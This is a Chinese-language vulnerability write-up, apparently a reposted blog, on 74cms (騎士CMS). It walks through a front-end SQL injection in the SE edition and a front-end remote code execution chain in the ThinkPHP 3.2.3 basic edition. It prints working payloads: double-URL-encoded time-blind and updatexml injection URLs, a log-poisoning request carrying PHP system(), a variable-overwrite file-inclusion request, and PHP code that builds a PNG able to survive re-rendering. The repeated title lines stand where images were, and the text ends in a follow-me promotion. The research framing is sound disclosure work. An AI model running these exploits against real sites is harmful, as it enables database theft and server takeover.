系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

SE版的前臺sql注入漏洞。

此漏洞僅僅影響 騎士CMS人才系統SE版

/application/index/controller/jobfairol。php

中存在如下方法

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

注意此處的 keyword。存在兩次 url 解碼,可以繞過很多的 waf,或者預處理。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

先join 裡一個數據表,然後新增排序,並指定分頁後,呼叫 column() 方法。

這個方法也就是獲取 sql查詢某個列的陣列。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

並在該斷點處,執行sql語句。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

檢視一下我們實際執行的sql語句。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

我利用 union select 來達到時間盲注的效果。

payload:

http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))/**/union/**/select(sleep(5))%252523

如果開啟了報錯的情況可以報錯注入。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))/**/union/**/select(updatexml(1,concat(0x7e,(select(user())),0x7e),1))%252523

v1_0/controller/home/jobfairol。php

也存在相同的方法。

基礎版的前臺RCE漏洞

基礎版是透過 TP3。2。3 開發的,這個版本在應用初始化的時候,如果 APP_DEBUG 為false。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

會將整個框架整合進

Application/Runtime/``common~runtime。php

檔案中,後續的執行都在這個

74kb

,且只有一行程式碼的檔案中。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

強烈建議在個人除錯的時候

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

將這裡改成true。

Application/Common/Controller/BaseController。class。php

有這樣一個方法。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

Common應用裡的控制器一般都是被當作基類存在的,無法直接透過 ?m=Common 直接去訪問控制器裡的方法。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

但是他作為其他控制器的基類,而且又是 public 方法,我們依然可以呼叫它。

這幾行不知道看官們熟不熟悉。

其實這個漏洞,可以追溯到某實驗室發的漏洞通報

https://mp。weixin。qq。com/s/_4IZe-aZ_3O2PmdQrVbpdQ?st=529DABB1BC6F651382C9135EB552827AD43F0288831BAC943C5A6CE32F45F1B9F423FD767BD30EB98F9C2C6D962C1268BBC7A694FE6B1157BC89FD16D8EAEB81A3BD642BDC08DB57567E4C7B327B7134882308F36A811B338901B511ABC8BC487356659B2CD0C8417DBCFD448DE79A0E6611FC7DAA7F5F806AED95180ADE0D979653805D9BE2818C36432C242C346C258EB569D4B4EC38ACD08C5E03A09D4FAA34F60913522071EB3BEEED7BDB667730296BE92C3B10E13BA48209051A216A1E&vid=1688851206182100&cst=53928845F30E881CE4702F30E4E78E655B605169B1BF71E0E963E97B3C21D4A26131701E074B2422DE3B7150338D0234&deviceid=de960c8d-258f-4e7d-a333-c1e3dc351b70&version=3。1。8。3015&platform=win

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

這是他們給出的漏洞樣例。

其實大同小異,只不過fetch 只是獲取輸出頁面的內容,但並不會顯示出來。所以在這個cms中,如果可以rce,那也只是一個無回顯的RCE。

簡單概括他們的分析,就是將payload寫進日誌裡,然後利用變數覆蓋,造成任意檔案包含,包含日誌檔案。

先發送惡意資料包

GET /index。php?m=——><?=system(‘calc’);?><—— HTTP/1。1Host: localhost:1234Connection: keep-alivePragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

在 /data/Runtime/Logs/Common/ 中寫入日誌檔案

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

然後構造payload去包含日誌檔案。

url:http://localhost:1234/index。php?m=home&c=AdvPersonal&a=assign_resume_tplpost:variable[_filename]=。/data/Runtime/Logs/Common/21_09_22。log&tpl=adv_index

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

一開始並沒有想到這個漏洞,我跟進了fetch 方法。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

這裡如果檔案存在會直接返回,這顯然是不合理的,在我們可以控制檔名的情況下。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

這裡的 loadTemplate 方法其實就是將檔案中的內容獲取出來然後寫入模板快取檔案中,並返回快取檔名。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

然後變數覆蓋,檔案包含。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

在我沒有想到變數覆蓋

_filename

的時候 ,我的思路很單純,分析到這裡想必都明白了。就是上傳一個惡意檔案,獲取檔名賦給$tpl,最後tp解析模板後自動包含。

但後續也是遇到一些情況,比如前臺的圖片上傳時會被二次渲染,惡意程式碼被和諧。又或者圖片檔案中存在一些可以被解析的標籤,最後替換為不規則的php語法。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

不過後來我用 png圖片的二次渲染繞過了這個問題。

<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,‘。/1。png’);?>

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

當在修改簡歷處上傳檔案時,後面存在一個ajax請求,獲取我們的圖片,這樣就暴露了圖片的儲存位置。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

下面是快取的圖片檔案。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

這裡的變數覆蓋,可能因為先前某cms的前臺rce的原因,我還是想找模板檔案中存在的問題,但在這裡,顯然是走遠了。

寫在後面

tp3。2。x 的渲染模板處暴露出的兩個顯然存在的問題,一個變數覆蓋造成的任意檔案包含。需要有

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

作為前提。

另一個 is_file 判斷後直接返回檔名,不考慮是否是模板檔案。僅僅需要如下語句

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

配合檔案上傳就可以完成攻擊。

系統漏洞挖掘展示(SE版的前臺sql注入漏洞)

關注私我,獲取【

網路安全學習攻略